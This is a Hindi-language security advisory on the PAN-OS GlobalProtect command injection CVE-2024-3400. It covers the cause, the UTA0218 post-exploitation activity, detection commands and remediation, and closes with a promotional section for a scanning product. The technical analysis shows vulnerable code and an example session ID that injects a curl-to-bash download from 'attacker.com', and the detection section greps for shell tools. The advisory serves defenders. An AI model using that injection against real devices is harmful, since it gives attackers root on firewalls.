CVE-2024-3400: Palo Alto PAN-OS कमांड इंजेक्शन — CVSS 10.0

CVE-2024-3400 Palo Alto Networks PAN-OS GlobalProtect गेटवे में एक अधिकतम-गंभीरता वाली OS कमांड इंजेक्शन भेद्यता है। एक अनऑथेंटिकेटेड हमलावर बिना किसी इंटरैक्शन के root के रूप में मनमाने OS कमांड निष्पादित कर सकता है। खुलासे से पहले UTA0218 (संभवतः स्टेट-प्रायोजित) द्वारा इसका शोषण किया गया।

CVE-2024-3400 क्या है?

CVE-2024-3400 Palo Alto Networks PAN-OS की GlobalProtect सुविधा को प्रभावित करता है। जब GlobalProtect को गेटवे या पोर्टल के रूप में कॉन्फ़िगर किया जाता है, तो एक अनऑथेंटिकेटेड रिमोट हमलावर फ़ायरवॉल एप्लायंस पर root विशेषाधिकार के साथ निष्पादित होने वाले मनमाने OS कमांड इंजेक्ट कर सकता है।

कारकों का यह संयोजन — कोई ऑथेंटिकेशन ज़रूरी नहीं, नेटवर्क से एक्सेस योग्य, बदला हुआ स्कोप, कॉन्फ़िडेंशियलिटी, इंटीग्रिटी, और अवेलेबिलिटी पर अधिकतम प्रभाव — एक पूर्ण CVSS 10.0 स्कोर देता है। फ़ायरवॉल वेंडरों में, अब तक बहुत कम भेद्यताओं को यह स्कोर मिला है।

प्रभावित सिस्टम

पूर्व-शर्त: GlobalProtect गेटवे या पोर्टल कॉन्फ़िगर होना चाहिए (show global-protect-gateway current-user नतीजे लौटाता है)। जिन संगठनों ने GlobalProtect कॉन्फ़िगर नहीं किया है, वे प्रभावित नहीं हैं।

तकनीकी विश्लेषण

इंजेक्शन पॉइंट GlobalProtect सेशन-हैंडलिंग कोड में है। जब कोई GlobalProtect सेशन स्थापित होता है, तो कुछ सेशन विशेषताएँ फ़ायरवॉल पर टेम्पररी फ़ाइलों में लिखी जाती हैं। इन सेशन फ़ाइलों के लिए फ़ाइल-पाथ बनाने वाला कोड सेशन आइडेंटिफ़ायर को ठीक से सैनिटाइज़ नहीं करता, जो आंशिक रूप से हमलावर-नियंत्रित होता है।

# Simplified vulnerable file path construction
SESSION_ID = request.cookie["SESSID"]  # Attacker-controlled
session_file = f"/var/appweb/sslvpndocs/global-protect/{SESSION_ID}.log"
os.system(f"echo 'connected' >> {session_file}")  # Command injection here

# Attacker crafts session ID containing shell metacharacters:
# SESSION_ID = "../../tmp/evil;curl http://attacker.com/shell.sh|bash;"

UTA0218 द्वारा इंस्टॉल किया गया UPSTYLE बैकडोर एक नई पर्सिस्टेंस तकनीक का उपयोग करता था: एक Python स्क्रिप्ट जो वेब-सर्वर एक्सेस लॉग को विशिष्ट रिक्वेस्ट पैटर्न (जिसमें एक एन्क्रिप्टेड कमांड होता था) के लिए मॉनिटर करती थी, कमांड निष्पादित करती थी, और फिर गतिविधि के सबूत हटाने के लिए मूल फ़ाइल-सामग्री को बहाल कर देती थी।

पोस्ट-एक्सप्लॉइटेशन गतिविधि (UTA0218)

Volexity ने नेशन-स्टेट एक्टर की निम्नलिखित पोस्ट-एक्सप्लॉइटेशन क्रम को दस्तावेज़ किया:

• UPSTYLE डिप्लॉयमेंट: स्थायी एक्सेस के लिए फ़ायरवॉल के वेब-सर्वर पाथ में इंस्टॉल किया गया Python बैकडोर
• क्रेडेंशियल एक्सट्रैक्शन: VPN क्रेडेंशियल्स और इंटरनल राउटिंग जानकारी वाला फ़ायरवॉल कॉन्फ़िगरेशन डंप
• इंटरनल पिवटिंग: इंटरनल होस्ट तक पहुँचने के लिए भंग किए गए फ़ायरवॉल की भरोसेमंद नेटवर्क स्थिति का उपयोग
• LDAP क्वेरी: फ़ायरवॉल के इंटरनल नेटवर्क एक्सेस के ज़रिए Active Directory एनुमरेशन
• डेटा स्टेजिंग: फ़ायरवॉल के ज़रिए संवेदनशील फ़ाइलों का कंप्रेशन और एक्सफ़िल्ट्रेशन

पहचान

PAN-OS लॉग विश्लेषण

# Check for UPSTYLE backdoor artifacts
find / -name "*.py" -newer /etc/passwd -not -path "*/site-packages/*" 2>/dev/null

# Suspicious traffic in GlobalProtect logs
grep -i "curl\|wget\|python\|bash" /var/log/pan/sslvpn.log

# Modified system files (UPSTYLE modifies then restores)
# Check for recent access times on web server files
find /var/appweb -atime -7 -name "*.php" -o -name "*.py"

थ्रेट-हंटिंग क्वेरी

• असामान्य सेशन-कुकी फ़ॉर्मैट के साथ GlobalProtect पाथ पर HTTP 200 रिस्पॉन्स
• फ़ायरवॉल मैनेजमेंट प्लेन से बाहरी IP को आउटबाउंड कनेक्शन
• PAN-OS से थ्रेट-इंटेलिजेंस फ़ीड में मौजूद न होने वाले डोमेन के लिए DNS क्वेरी
• फ़ायरवॉल कॉन्फ़िगरेशन फ़ाइलों पर असामान्य फ़ाइल-संशोधन टाइमस्टैंप

सुधार

1. तुरंत पैच करें: ऊपर सूचीबद्ध हॉटफ़िक्स वर्ज़न लागू करें। यह सक्रिय शोषण वाला CVSS 10.0 है — कोई स्वीकार्य देरी नहीं है।
2. Threat Prevention अंतरिम वर्कअराउंड: अनपैच्ड डिवाइस के लिए, GlobalProtect इंटरफ़ेस पर सुरक्षा-प्रोफ़ाइल के साथ Threat Prevention सक्षम करें। Palo Alto ने विशिष्ट थ्रेट-ID सिग्नेचर उपलब्ध कराए।
3. अगर ज़रूरत न हो तो GlobalProtect अक्षम करें: जो संगठन सक्रिय रूप से GlobalProtect का उपयोग नहीं कर रहे, वे वर्कअराउंड के रूप में इस सुविधा को अस्थायी रूप से अक्षम कर सकते हैं।
4. फ़ायरवॉल फ़ाइलों का ऑडिट करें: UPSTYLE और अन्य पोस्ट-एक्सप्लॉइटेशन आर्टिफ़ैक्ट की जाँच के लिए Palo Alto की उपलब्ध कराई गई स्क्रिप्ट चलाएँ।
5. सभी क्रेडेंशियल्स रोटेट करें: फ़ायरवॉल कॉन्फ़िगरेशन में स्टोर किए गए किसी भी क्रेडेंशियल (VPN सर्टिफ़िकेट, LDAP बाइंड क्रेडेंशियल्स, आदि) को भंग माना जाना चाहिए।

KENSAI पहचान क्षमता

• PAN-OS फ़िंगरप्रिंटिंग: KENSAI इंटरनेट-फ़ेसिंग Palo Alto डिवाइस और उनके PAN-OS वर्ज़न की पहचान करता है, CVE-2024-3400 के प्रति भेद्य कॉन्फ़िगरेशन को फ़्लैग करता है
• GlobalProtect एक्सपोज़र पहचान: पहचाने गए डिवाइस पर GlobalProtect गेटवे/पोर्टल सक्षम है या नहीं, इसकी पहचान करता है
• सुरक्षित शोषण पुष्टिकरण: एक गैर-विनाशकारी प्रोब कमांड निष्पादित किए बिना शोषण-योग्यता सत्यापित करता है
• कॉम्प्रोमाइज़ इंडिकेटर स्कैनिंग: एक्सेस योग्य वेब पाथ में UPSTYLE बैकडोर संकेतकों की जाँच करता है
• निरंतर अटैक-सतह मॉनिटरिंग: आपकी बाहरी अटैक-सतह में शामिल होने वाले नए खोजे गए PAN-OS डिवाइस पर अलर्ट देता है